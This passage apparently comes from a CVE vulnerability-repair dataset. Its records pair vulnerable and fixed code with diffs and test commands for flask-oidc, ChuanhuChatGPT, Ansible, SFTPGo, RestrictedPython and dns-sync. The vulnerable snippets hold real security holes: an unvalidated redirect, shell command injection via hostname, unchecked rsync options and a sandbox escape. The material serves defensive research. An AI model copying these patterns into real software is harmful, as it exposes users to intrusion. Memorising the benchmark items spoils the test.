.format(self.app.config['OIDC_GOOGLE_APPS_DOMAIN']),\n                    self.WRONG_GOOGLE_APPS_DOMAIN)\n            return self.oidc_error()\n\n        # store credentials by subject\n        # when Google is the IdP, the subject is their G+ account number\n        self.credentials_store[id_token['sub']] = credentials\n\n        # set a persistent signed cookie containing the ID token\n        # and redirect to the final destination\n        # TODO: validate redirect destination\n        response = redirect(destination)\n        self.set_cookie_id_token(id_token)\n        return response"}], "fix_func": [{"id": "fix_py_177_1", "commit": "f2ef8b4", "file_path": "flask_oidc/__init__.py", "start_line": 51, "end_line": 90, "snippet": "    def init_app(self, app):\n        \"\"\"\n        Do setup that requires a Flask app.\n        \"\"\"\n        self.app = app\n\n        # Set some default configuration options\n        app.config.setdefault('OIDC_SCOPES', ['openid', 'email'])\n        app.config.setdefault('OIDC_GOOGLE_APPS_DOMAIN', None)\n        app.config.setdefault('OIDC_ID_TOKEN_COOKIE_NAME', 'oidc_id_token')\n        app.config.setdefault('OIDC_ID_TOKEN_COOKIE_TTL', 7 * 86400)  # 7 days\n        # should ONLY be turned off for local debugging\n        app.config.setdefault('OIDC_ID_TOKEN_COOKIE_SECURE', True)\n        app.config.setdefault('OIDC_VALID_ISSUERS',\n                              ['accounts.google.com',\n                               'https://accounts.google.com'])\n        app.config.setdefault('OIDC_CLOCK_SKEW', 60)  # 1 minute\n        app.config.setdefault('OIDC_REQUIRE_VERIFIED_EMAIL', True)\n\n        # register callback route and cookie-setting decorator\n        app.route('/oidc_callback')(self.oidc_callback)\n        app.before_request(self.before_request)\n        app.after_request(self.after_request)\n\n        # load client_secrets.json\n        self.flow = flow_from_clientsecrets(\n            app.config['OIDC_CLIENT_SECRETS'],\n            scope=app.config['OIDC_SCOPES'])\n        assert isinstance(self.flow, OAuth2WebServerFlow)\n\n        # create signers using the Flask secret key\n        self.destination_serializer = JSONWebSignatureSerializer(\n            app.config['SECRET_KEY'])\n        self.cookie_serializer = TimedJSONWebSignatureSerializer(\n            app.config['SECRET_KEY'])\n\n        try:\n            self.credentials_store = app.config['OIDC_CREDENTIALS_STORE']\n        except KeyError:\n            pass"}, {"id": "fix_py_177_2", "commit": "f2ef8b4", "file_path": "flask_oidc/__init__.py", "start_line": 194, "end_line": 217, "snippet": "    def redirect_to_auth_server(self, destination):\n        \"\"\"\n        Set a CSRF token in the session, and redirect to the IdP.\n        :param destination: the page that the user was going to,\n                            before we noticed they weren't logged in\n        :return: a redirect response\n        \"\"\"\n        destination = self.destination_serializer.dumps(destination)\n        csrf_token = b64encode(self.urandom(24)).decode('utf-8')\n        session['oidc_csrf_token'] = csrf_token\n        state = {\n            'csrf_token': csrf_token,\n            'destination': destination,\n        }\n        extra_params = {\n            'state': json.dumps(state),\n        }\n        flow = self.flow_for_request()\n        auth_url = '{url}&{extra_params}'.format(\n            url=flow.step1_get_authorize_url(),\n            extra_params=urlencode(extra_params))\n        # if the user has an ID token, it's invalid, or we wouldn't be here\n        self.set_cookie_id_token(None)\n        return redirect(auth_url)"}, {"id": "fix_py_177_3", "commit": "f2ef8b4", "file_path": "flask_oidc/__init__.py", "start_line": 286, "end_line": 339, "snippet": "    def oidc_callback(self):\n        \"\"\"\n        Exchange the auth code for actual credentials,\n        then redirect to the originally requested page.\n        \"\"\"\n        # retrieve session and callback variables\n        try:\n            session_csrf_token = session.pop('oidc_csrf_token')\n\n            state = json.loads(request.args['state'])\n            csrf_token = state['csrf_token']\n            destination = state['destination']\n\n            code = request.args['code']\n        except (KeyError, ValueError):\n            logger.debug(\"Can't retrieve CSRF token, state, or code\",\n                         exc_info=True)\n            return self.oidc_error()\n\n        # check callback CSRF token passed to IdP\n        # against session CSRF token held by user\n        if csrf_token != session_csrf_token:\n            logger.debug(\"CSRF token mismatch\")\n            return self.oidc_error()\n\n        # make a request to IdP to exchange the auth code for OAuth credentials\n        flow = self.flow_for_request()\n        credentials = flow.step2_exchange(code, http=self.http)\n        id_token = credentials.id_token\n        if not self.is_id_token_valid(id_token):\n            logger.debug(\"Invalid ID token\")\n            if id_token.get('hd') != self.app.config['OIDC_GOOGLE_APPS_DOMAIN']:\n                return self.oidc_error(\n                    \"You must log in with an account from the {0} domain.\"\n                    .format(self.app.config['OIDC_GOOGLE_APPS_DOMAIN']),\n                    self.WRONG_GOOGLE_APPS_DOMAIN)\n            return self.oidc_error()\n\n        # store credentials by subject\n        # when Google is the IdP, the subject is their G+ account number\n        self.credentials_store[id_token['sub']] = credentials\n\n        # Check whether somebody messed with the destination\n        destination = destination\n        try:\n            response = redirect(self.destination_serializer.loads(destination))\n        except BadSignature:\n            logger.error('Destination signature did not match. Rogue IdP?')\n            response = redirect('/')\n\n        # set a persistent signed cookie containing the ID token\n        # and redirect to the final destination\n        self.set_cookie_id_token(id_token)\n        return response"}], "vul_patch": "--- a/flask_oidc/__init__.py\n+++ b/flask_oidc/__init__.py\n@@ -28,7 +28,9 @@\n             scope=app.config['OIDC_SCOPES'])\n         assert isinstance(self.flow, OAuth2WebServerFlow)\n \n-        # create a cookie signer using the Flask secret key\n+        # create signers using the Flask secret key\n+        self.destination_serializer = JSONWebSignatureSerializer(\n+            app.config['SECRET_KEY'])\n         self.cookie_serializer = TimedJSONWebSignatureSerializer(\n             app.config['SECRET_KEY'])\n \n\n--- a/flask_oidc/__init__.py\n+++ b/flask_oidc/__init__.py\n@@ -5,6 +5,7 @@\n                             before we noticed they weren't logged in\n         :return: a redirect response\n         \"\"\"\n+        destination = self.destination_serializer.dumps(destination)\n         csrf_token = b64encode(self.urandom(24)).decode('utf-8')\n         session['oidc_csrf_token'] = csrf_token\n         state = {\n\n--- a/flask_oidc/__init__.py\n+++ b/flask_oidc/__init__.py\n@@ -40,9 +40,15 @@\n         # when Google is the IdP, the subject is their G+ account number\n         self.credentials_store[id_token['sub']] = credentials\n \n+        # Check whether somebody messed with the destination\n+        destination = destination\n+        try:\n+            response = redirect(self.destination_serializer.loads(destination))\n+        except BadSignature:\n+            logger.error('Destination signature did not match. Rogue IdP?')\n+            response = redirect('/')\n+\n         # set a persistent signed cookie containing the ID token\n         # and redirect to the final destination\n-        # TODO: validate redirect destination\n-        response = redirect(destination)\n         self.set_cookie_id_token(id_token)\n         return response\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-34094", "cve_description": "ChuanhuChatGPT is a graphical user interface for ChatGPT and many large language models. A vulnerability in versions 20230526 and prior allows unauthorized access to the config.json file of the privately deployed ChuanghuChatGPT project, when authentication is not configured. The attacker can exploit this vulnerability to steal the API keys in the configuration file. The vulnerability has been fixed in commit bfac445. As a workaround, setting up access authentication can help mitigate the vulnerability.", "cwe_info": {"CWE-306": {"name": "Missing Authentication for Critical Function", "description": "The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources."}}, "repo": "https://github.com/GaiZhenbiao/ChuanhuChatGPT", "patch_url": ["https://github.com/GaiZhenbiao/ChuanhuChatGPT/commit/bfac445e799c317b0f5e738ab394032a18de62eb"], "programing_language": "Python", "vul_func": [{"id": "vul_py_90_1", "commit": "e121fd7", "file_path": "ChuanhuChatbot.py", "start_line": "468", "end_line": "477", "snippet": "if __name__ == \"__main__\":\n    reload_javascript()\n    demo.queue(concurrency_count=CONCURRENT_COUNT).launch(\n        server_name=server_name,\n        server_port=server_port,\n        share=share,\n        auth=auth_list if authflag else None,\n        favicon_path=\"./assets/favicon.ico\",\n        inbrowser=not dockerflag, # \\u7981\\u6b62\\u5728docker\\u4e0b\\u5f00\\u542finbrowser\n    )"}], "fix_func": [{"id": "fix_py_90_1", "commit": "bfac445", "file_path": "ChuanhuChatbot.py", "start_line": "468", "end_line": "478", "snippet": "if __name__ == \"__main__\":\n    reload_javascript()\n    demo.queue(concurrency_count=CONCURRENT_COUNT).launch(\n        blocked_paths=[\"config.json\"],\n        server_name=server_name,\n        server_port=server_port,\n        share=share,\n        auth=auth_list if authflag else None,\n        favicon_path=\"./assets/favicon.ico\",\n        inbrowser=not dockerflag, # \\u7981\\u6b62\\u5728docker\\u4e0b\\u5f00\\u542finbrowser\n    )"}], "vul_patch": "--- a/ChuanhuChatbot.py\n+++ b/ChuanhuChatbot.py\n@@ -1,6 +1,7 @@\n if __name__ == \"__main__\":\n     reload_javascript()\n     demo.queue(concurrency_count=CONCURRENT_COUNT).launch(\n+        blocked_paths=[\"config.json\"],\n         server_name=server_name,\n         server_port=server_port,\n         share=share,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-8628", "cve_description": "Ansible before version 2.2.0 fails to properly sanitize fact variables sent from the Ansible controller. An attacker with the ability to create special variables on the controller could execute arbitrary commands on Ansible clients as the user Ansible runs as.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ansible/ansible", "patch_url": ["https://github.com/ansible/ansible/commit/35938b907dfcd1106ca40b794f0db446bdb8cf09"], "programing_language": "Python", "vul_func": [{"id": "vul_py_242_1", "commit": "bab1ac1", "file_path": "lib/ansible/plugins/__init__.py", "start_line": 373, "end_line": 417, "snippet": "    def all(self, *args, **kwargs):\n        ''' instantiates all plugins with the same arguments '''\n\n        class_only = kwargs.pop('class_only', False)\n        all_matches = []\n        found_in_cache = True\n\n        for i in self._get_paths():\n            all_matches.extend(glob.glob(os.path.join(i, \"*.py\")))\n\n        for path in sorted(all_matches, key=lambda match: os.path.basename(match)):\n            name, _ = os.path.splitext(path)\n            if '__init__' in name:\n                continue\n\n            if path not in self._module_cache:\n                self._module_cache[path] = self._load_module_source(name, path)\n                found_in_cache = False\n\n            try:\n                obj = getattr(self._module_cache[path], self.class_name)\n            except AttributeError as e:\n                display.warning(\"Skipping plugin (%s) as it seems to be invalid: %s\" % (path, to_text(e)))\n                continue\n\n            if self.base_class:\n                # The import path is hardcoded and should be the right place,\n                # so we are not expecting an ImportError.\n                module = __import__(self.package, fromlist=[self.base_class])\n                # Check whether this obj has the required base class.\n                try:\n                    plugin_class = getattr(module, self.base_class)\n                except AttributeError:\n                    continue\n                if not issubclass(obj, plugin_class):\n                    continue\n\n            self._display_plugin_load(self.class_name, name, self._searched_paths, path,\n                                      found_in_cache=found_in_cache, class_only=class_only)\n            if not class_only:\n                obj = obj(*args, **kwargs)\n\n            # set extra info on the module, in case we want it later\n            setattr(obj, '_original_path', path)\n            yield obj"}], "fix_func": [{"id": "fix_py_242_1", "commit": "35938b9", "file_path": "lib/ansible/plugins/__init__.py", "start_line": 373, "end_line": 422, "snippet": "    def all(self, *args, **kwargs):\n        ''' instantiates all plugins with the same arguments '''\n\n        path_only = kwargs.pop('path_only', False)\n        class_only = kwargs.pop('class_only', False)\n        all_matches = []\n        found_in_cache = True\n\n        for i in self._get_paths():\n            all_matches.extend(glob.glob(os.path.join(i, \"*.py\")))\n\n        for path in sorted(all_matches, key=lambda match: os.path.basename(match)):\n            name, _ = os.path.splitext(path)\n            if '__init__' in name:\n                continue\n\n            if path_only:\n                yield path\n                continue\n\n            if path not in self._module_cache:\n                self._module_cache[path] = self._load_module_source(name, path)\n                found_in_cache = False\n\n            try:\n                obj = getattr(self._module_cache[path], self.class_name)\n            except AttributeError as e:\n                display.warning(\"Skipping plugin (%s) as it seems to be invalid: %s\" % (path, to_text(e)))\n                continue\n\n            if self.base_class:\n                # The import path is hardcoded and should be the right place,\n                # so we are not expecting an ImportError.\n                module = __import__(self.package, fromlist=[self.base_class])\n                # Check whether this obj has the required base class.\n                try:\n                    plugin_class = getattr(module, self.base_class)\n                except AttributeError:\n                    continue\n                if not issubclass(obj, plugin_class):\n                    continue\n\n            self._display_plugin_load(self.class_name, name, self._searched_paths, path,\n                                      found_in_cache=found_in_cache, class_only=class_only)\n            if not class_only:\n                obj = obj(*args, **kwargs)\n\n            # set extra info on the module, in case we want it later\n            setattr(obj, '_original_path', path)\n            yield obj"}], "vul_patch": "--- a/lib/ansible/plugins/__init__.py\n+++ b/lib/ansible/plugins/__init__.py\n@@ -1,6 +1,7 @@\n     def all(self, *args, **kwargs):\n         ''' instantiates all plugins with the same arguments '''\n \n+        path_only = kwargs.pop('path_only', False)\n         class_only = kwargs.pop('class_only', False)\n         all_matches = []\n         found_in_cache = True\n@@ -11,6 +12,10 @@\n         for path in sorted(all_matches, key=lambda match: os.path.basename(match)):\n             name, _ = os.path.splitext(path)\n             if '__init__' in name:\n+                continue\n+\n+            if path_only:\n+                yield path\n                 continue\n \n             if path not in self._module_cache:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-24366", "cve_description": "SFTPGo is an open source, event-driven file transfer solution. SFTPGo supports execution of a defined set of commands via SSH. Besides a set of default commands some optional commands can be activated, one of them being `rsync`. It is disabled in the default configuration and it is limited to the local filesystem, it does not work with cloud/remote storage backends. Due to missing sanitization of the client provided `rsync` command, an authenticated remote user can use some options of the rsync command to read or write files with the permissions of the SFTPGo server process. This issue was fixed in version v2.6.5 by checking the client provided arguments. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/drakkan/sftpgo", "patch_url": ["https://github.com/drakkan/sftpgo/commit/b347ab6051f6c501da205c09315fe99cd1fa3ba1"], "programing_language": "Go", "vul_func": [{"id": "vul_go_37_1", "commit": "4611d05", "file_path": "internal/sftpd/ssh_cmd.go", "start_line": 386, "end_line": 455, "snippet": "func (c *sshCommand) getSystemCommand() (systemCommand, error) {\n\tcommand := systemCommand{\n\t\tcmd:            nil,\n\t\tfs:             nil,\n\t\tfsPath:         \"\",\n\t\tquotaCheckPath: \"\",\n\t}\n\tif err := common.CheckClosing(); err != nil {\n\t\treturn command, err\n\t}\n\targs := make([]string, len(c.args))\n\tcopy(args, c.args)\n\tvar fsPath, quotaPath string\n\tsshPath := c.getDestPath()\n\tfs, err := c.connection.User.GetFilesystemForPath(sshPath, c.connection.ID)\n\tif err != nil {\n\t\treturn command, err\n\t}\n\tif len(c.args) > 0 {\n\t\tvar err error\n\t\tfsPath, err = fs.ResolvePath(sshPath)\n\t\tif err != nil {\n\t\t\treturn command, c.connection.GetFsError(fs, err)\n\t\t}\n\t\tquotaPath = sshPath\n\t\tfi, err := fs.Stat(fsPath)\n\t\tif err == nil && fi.IsDir() {\n\t\t\t// if the target is an existing dir the command will write inside this dir\n\t\t\t// so we need to check the quota for this directory and not its parent dir\n\t\t\tquotaPath = path.Join(sshPath, \"fakecontent\")\n\t\t}\n\t\tif strings.HasSuffix(sshPath, \"/\") && !strings.HasSuffix(fsPath, string(os.PathSeparator)) {\n\t\t\tfsPath += string(os.PathSeparator)\n\t\t\tc.connection.Log(logger.LevelDebug, \"path separator added to fsPath %q\", fsPath)\n\t\t}\n\t\targs = args[:len(args)-1]\n\t\targs = append(args, fsPath)\n\t}\n\tif err := c.isSystemCommandAllowed(); err != nil {\n\t\treturn command, errUnsupportedConfig\n\t}\n\tif c.command == \"rsync\" {\n\t\t// we cannot avoid that rsync creates symlinks so if the user has the permission\n\t\t// to create symlinks we add the option --safe-links to the received rsync command if\n\t\t// it is not already set. This should prevent to create symlinks that point outside\n\t\t// the home dir.\n\t\t// If the user cannot create symlinks we add the option --munge-links, if it is not\n\t\t// already set. This should make symlinks unusable (but manually recoverable)\n\t\tif c.connection.User.HasPerm(dataprovider.PermCreateSymlinks, c.getDestPath()) {\n\t\t\tif !util.Contains(args, \"--safe-links\") {\n\t\t\t\targs = append([]string{\"--safe-links\"}, args...)\n\t\t\t}\n\t\t} else {\n\t\t\tif !util.Contains(args, \"--munge-links\") {\n\t\t\t\targs = append([]string{\"--munge-links\"}, args...)\n\t\t\t}\n\t\t}\n\t}\n\tc.connection.Log(logger.LevelDebug, \"new system command %q, with args: %+v fs path %q quota check path %q\",\n\t\tc.command, args, fsPath, quotaPath)\n\tcmd := exec.Command(c.command, args...)\n\tuid := c.connection.User.GetUID()\n\tgid := c.connection.User.GetGID()\n\tcmd = wrapCmd(cmd, uid, gid)\n\tcommand.cmd = cmd\n\tcommand.fsPath = fsPath\n\tcommand.quotaCheckPath = quotaPath\n\tcommand.fs = fs\n\treturn command, nil\n}"}], "fix_func": [{"id": "fix_go_37_1", "commit": "b347ab6", "file_path": "internal/sftpd/ssh_cmd.go", "start_line": 387, "end_line": 460, "snippet": "func (c *sshCommand) getSystemCommand() (systemCommand, error) {\n\tcommand := systemCommand{\n\t\tcmd:            nil,\n\t\tfs:             nil,\n\t\tfsPath:         \"\",\n\t\tquotaCheckPath: \"\",\n\t}\n\tif err := common.CheckClosing(); err != nil {\n\t\treturn command, err\n\t}\n\targs := make([]string, len(c.args))\n\tcopy(args, c.args)\n\tvar fsPath, quotaPath string\n\tsshPath := c.getDestPath()\n\tfs, err := c.connection.User.GetFilesystemForPath(sshPath, c.connection.ID)\n\tif err != nil {\n\t\treturn command, err\n\t}\n\tif len(c.args) > 0 {\n\t\tvar err error\n\t\tfsPath, err = fs.ResolvePath(sshPath)\n\t\tif err != nil {\n\t\t\treturn command, c.connection.GetFsError(fs, err)\n\t\t}\n\t\tquotaPath = sshPath\n\t\tfi, err := fs.Stat(fsPath)\n\t\tif err == nil && fi.IsDir() {\n\t\t\t// if the target is an existing dir the command will write inside this dir\n\t\t\t// so we need to check the quota for this directory and not its parent dir\n\t\t\tquotaPath = path.Join(sshPath, \"fakecontent\")\n\t\t}\n\t\tif strings.HasSuffix(sshPath, \"/\") && !strings.HasSuffix(fsPath, string(os.PathSeparator)) {\n\t\t\tfsPath += string(os.PathSeparator)\n\t\t\tc.connection.Log(logger.LevelDebug, \"path separator added to fsPath %q\", fsPath)\n\t\t}\n\t\targs = args[:len(args)-1]\n\t\targs = append(args, fsPath)\n\t}\n\tif err := c.isSystemCommandAllowed(); err != nil {\n\t\treturn command, errUnsupportedConfig\n\t}\n\tif c.command == \"rsync\" {\n\t\tif !canAcceptRsyncArgs(args) {\n\t\t\tc.connection.Log(logger.LevelWarn, \"invalid rsync command, args: %+v\", args)\n\t\t\treturn command, errors.New(\"invalid or unsupported rsync command\")\n\t\t}\n\t\t// we cannot avoid that rsync creates symlinks so if the user has the permission\n\t\t// to create symlinks we add the option --safe-links to the received rsync command if\n\t\t// it is not already set. This should prevent to create symlinks that point outside\n\t\t// the home dir.\n\t\t// If the user cannot create symlinks we add the option --munge-links, if it is not\n\t\t// already set. This should make symlinks unusable (but manually recoverable)\n\t\tif c.connection.User.HasPerm(dataprovider.PermCreateSymlinks, c.getDestPath()) {\n\t\t\tif !util.Contains(args, \"--safe-links\") {\n\t\t\t\targs = slices.Insert(args, len(args)-2, \"--safe-links\")\n\t\t\t}\n\t\t} else {\n\t\t\tif !util.Contains(args, \"--munge-links\") {\n\t\t\t\targs = slices.Insert(args, len(args)-2, \"--munge-links\")\n\t\t\t}\n\t\t}\n\t}\n\tc.connection.Log(logger.LevelDebug, \"new system command %q, with args: %+v fs path %q quota check path %q\",\n\t\tc.command, args, fsPath, quotaPath)\n\tcmd := exec.Command(c.command, args...)\n\tuid := c.connection.User.GetUID()\n\tgid := c.connection.User.GetGID()\n\tcmd = wrapCmd(cmd, uid, gid)\n\tcommand.cmd = cmd\n\tcommand.fsPath = fsPath\n\tcommand.quotaCheckPath = quotaPath\n\tcommand.fs = fs\n\treturn command, nil\n}"}], "vul_patch": "--- a/internal/sftpd/ssh_cmd.go\n+++ b/internal/sftpd/ssh_cmd.go\n@@ -40,6 +40,10 @@\n \t\treturn command, errUnsupportedConfig\n \t}\n \tif c.command == \"rsync\" {\n+\t\tif !canAcceptRsyncArgs(args) {\n+\t\t\tc.connection.Log(logger.LevelWarn, \"invalid rsync command, args: %+v\", args)\n+\t\t\treturn command, errors.New(\"invalid or unsupported rsync command\")\n+\t\t}\n \t\t// we cannot avoid that rsync creates symlinks so if the user has the permission\n \t\t// to create symlinks we add the option --safe-links to the received rsync command if\n \t\t// it is not already set. This should prevent to create symlinks that point outside\n@@ -48,11 +52,11 @@\n \t\t// already set. This should make symlinks unusable (but manually recoverable)\n \t\tif c.connection.User.HasPerm(dataprovider.PermCreateSymlinks, c.getDestPath()) {\n \t\t\tif !util.Contains(args, \"--safe-links\") {\n-\t\t\t\targs = append([]string{\"--safe-links\"}, args...)\n+\t\t\t\targs = slices.Insert(args, len(args)-2, \"--safe-links\")\n \t\t\t}\n \t\t} else {\n \t\t\tif !util.Contains(args, \"--munge-links\") {\n-\t\t\t\targs = append([]string{\"--munge-links\"}, args...)\n+\t\t\t\targs = slices.Insert(args, len(args)-2, \"--munge-links\")\n \t\t\t}\n \t\t}\n \t}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-24366:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/sftpgo\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd ./internal/sftpd && go test  -timeout 30s -run ^TestRsyncOptions$ github.com/drakkan/sftpgo/v2/internal/sftpd\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-24366:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/sftpgo\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestSupportedSSHCommands|TestCommandGetFsError|TestSCPRecursiveDownloadErrors|TestSSHParseCommandPayload|TestSCPUploadError|TestRemoveNonexistentQuotaScan|TestUploadResumeInvalidOffset|TestMaxUserSessions|TestSCPCreateDirs|TestConfigsFromProvider|TestGetOSOpenFlags|TestTransferCancelFn|TestSCPFileMode|TestSFTPGetUsedQuota|TestSCPParseUploadMessage|TestTransferFailingReader|TestResolveWithRootDir|TestCertCheckerInitErrors|TestRecoverer|TestWithInvalidHome|TestSSHCmdGetFsErrors|TestSupportedSecurityOptions|TestAuthenticationErrors|TestSFTPSubSystem|TestSCPErrorsMockFs|TestUploadError|TestSSHCommandErrors|TestUnsupportedListOP|TestRsyncOptions|TestSCPCommandHandleErrors|TestSCPDownloadFileData|TestSCPTestDownloadProtocolMessages|TestListernerAcceptErrors|TestSCPInvalidEndDir|TestSSHCommandPath|TestReadWriteErrors|TestSCPProtocolMessages|TestCanReadSymlink|TestGitVirtualFolders|TestSystemCommandErrors|TestLoadRevokedUserCertsFile|TestUploadFiles|TestSSHCommandsRemoteFs|TestCommandsWithExtensionsFilter|TestSCPUploadFiledata|TestSCPRecursiveUploadErrors)$' github.com/drakkan/sftpgo/v2/internal/sftpd"}
{"cve_id": "CVE-2025-22153", "cve_description": "RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Via a type confusion bug in versions of the CPython interpreter starting in 3.11 and prior to 3.13.2 when using `try/except*`, RestrictedPython starting in version 6.0 and prior to version 8.0 could be bypassed. The issue is patched in version 8.0 of RestrictedPython by removing support for `try/except*` clauses. No known workarounds are available.", "cwe_info": {"CWE-843": {"name": "Access of Resource Using Incompatible Type ('Type Confusion')", "description": "The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type."}}, "repo": "https://github.com/zopefoundation/RestrictedPython", "patch_url": ["https://github.com/zopefoundation/RestrictedPython/commit/48a92c5bb617a647cffd0dadd4d5cfe626bcdb2f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_433_1", "commit": "f4c1c1b", "file_path": "src/RestrictedPython/transformer.py", "start_line": 1143, "end_line": 1145, "snippet": "    def visit_TryStar(self, node):\n        \"\"\"Allow `ExceptionGroup` without restrictions.\"\"\"\n        return self.node_contents_visit(node)"}, {"id": "vul_py_433_2", "commit": "f4c1c1b", "file_path": "src/RestrictedPython/Guards.py", "start_line": 109, "end_line": 111, "snippet": "if IS_PY311_OR_GREATER:\n    _safe_exceptions.append(\"ExceptionGroup\")\n"}], "fix_func": [{"id": "fix_py_433_1", "commit": "48a92c5bb617a647cffd0dadd4d5cfe626bcdb2f", "file_path": "src/RestrictedPython/transformer.py", "start_line": 1143, "end_line": 1145, "snippet": "    def visit_TryStar(self, node):\n        \"\"\"Disallow `ExceptionGroup` due to a potential sandbox escape.\"\"\"\n        self.not_allowed(node)"}], "vul_patch": "--- a/src/RestrictedPython/transformer.py\n+++ b/src/RestrictedPython/transformer.py\n@@ -1,3 +1,3 @@\n     def visit_TryStar(self, node):\n-        \"\"\"Allow `ExceptionGroup` without restrictions.\"\"\"\n-        return self.node_contents_visit(node)\n+        \"\"\"Disallow `ExceptionGroup` due to a potential sandbox escape.\"\"\"\n+        self.not_allowed(node)\n\n--- a/src/RestrictedPython/Guards.py\n+++ /dev/null\n@@ -1,2 +0,0 @@\n-if IS_PY311_OR_GREATER:\n-    _safe_exceptions.append(\"ExceptionGroup\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-16100", "cve_description": "dns-sync is a sync/blocking dns resolver. If untrusted user input is allowed into the resolve() method then command injection is possible.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/skoranga/node-dns-sync", "patch_url": ["https://github.com/skoranga/node-dns-sync/commit/d9abaae384b198db1095735ad9c1c73d7b890a0d)))", "https://github.com/skoranga/node-dns-sync/commit/d9abaae384b198db1095735ad9c1c73d7b890a0d"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_2_1", "commit": "b748fe77a87749d95876028eda8e759109be4c73", "file_path": "lib/dns-sync.js", "start_line": 14, "end_line": 30, "snippet": "    resolve: function resolve(hostname) {\n        var output,\n            nodeBinary = process.execPath,\n            scriptPath = path.join(__dirname, \"../scripts/dns-lookup-script\"),\n            response,\n            cmd = util.format('\"%s\" \"%s\" %s', nodeBinary, scriptPath, hostname);\n\n        response = shell.exec(cmd, {silent: true});\n        if (response && response.code === 0) {\n            output = response.output;\n            if (output && net.isIP(output)) {\n                return output;\n            }\n        }\n        debug('hostname', \"fail to resolve hostname \" + hostname);\n        return null;\n    }"}], "fix_func": [{"id": "fix_js_2_1", "commit": "d9abaae384b198db1095735ad9c1c73d7b890a0d", "file_path": "lib/dns-sync.js", "start_line": 20, "end_line": 42, "snippet": "    resolve: function resolve(hostname) {\n        var output,\n            nodeBinary = process.execPath;\n\n        if (!isValidHostName(hostname)) {\n            console.error('Invalid hostname:', hostname);\n            return null;\n        }\n\n        var scriptPath = path.join(__dirname, \"../scripts/dns-lookup-script\"),\n            response,\n            cmd = util.format('\"%s\" \"%s\" %s', nodeBinary, scriptPath, hostname);\n\n        response = shell.exec(cmd, {silent: true});\n        if (response && response.code === 0) {\n            output = response.output;\n            if (output && net.isIP(output)) {\n                return output;\n            }\n        }\n        debug('hostname', \"fail to resolve hostname \" + hostname);\n        return null;\n    }"}, {"id": "fix_js_2_1", "commit": "d9abaae384b198db1095735ad9c1c73d7b890a0d", "file_path": "lib/dns-sync.js", "start_line": 10, "end_line": 14, "snippet": "var ValidHostnameRegex = new RegExp(\"^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])$\");\n\nfunction isValidHostName(hostname) {\n    return ValidHostnameRegex.test(hostname);\n}"}], "vul_patch": "--- a/lib/dns-sync.js\n+++ b/lib/dns-sync.js\n@@ -1,7 +1,13 @@\n     resolve: function resolve(hostname) {\n         var output,\n-            nodeBinary = process.execPath,\n-            scriptPath = path.join(__dirname, \"../scripts/dns-lookup-script\"),\n+            nodeBinary = process.execPath;\n+\n+        if (!isValidHostName(hostname)) {\n+            console.error('Invalid hostname:', hostname);\n+            return null;\n+        }\n+\n+        var scriptPath = path.join(__dirname, \"../scripts/dns-lookup-script\"),\n             response,\n             cmd = util.format('\"%s\" \"%s\" %s', nodeBinary, scriptPath, hostname);\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-16100:latest\n# bash 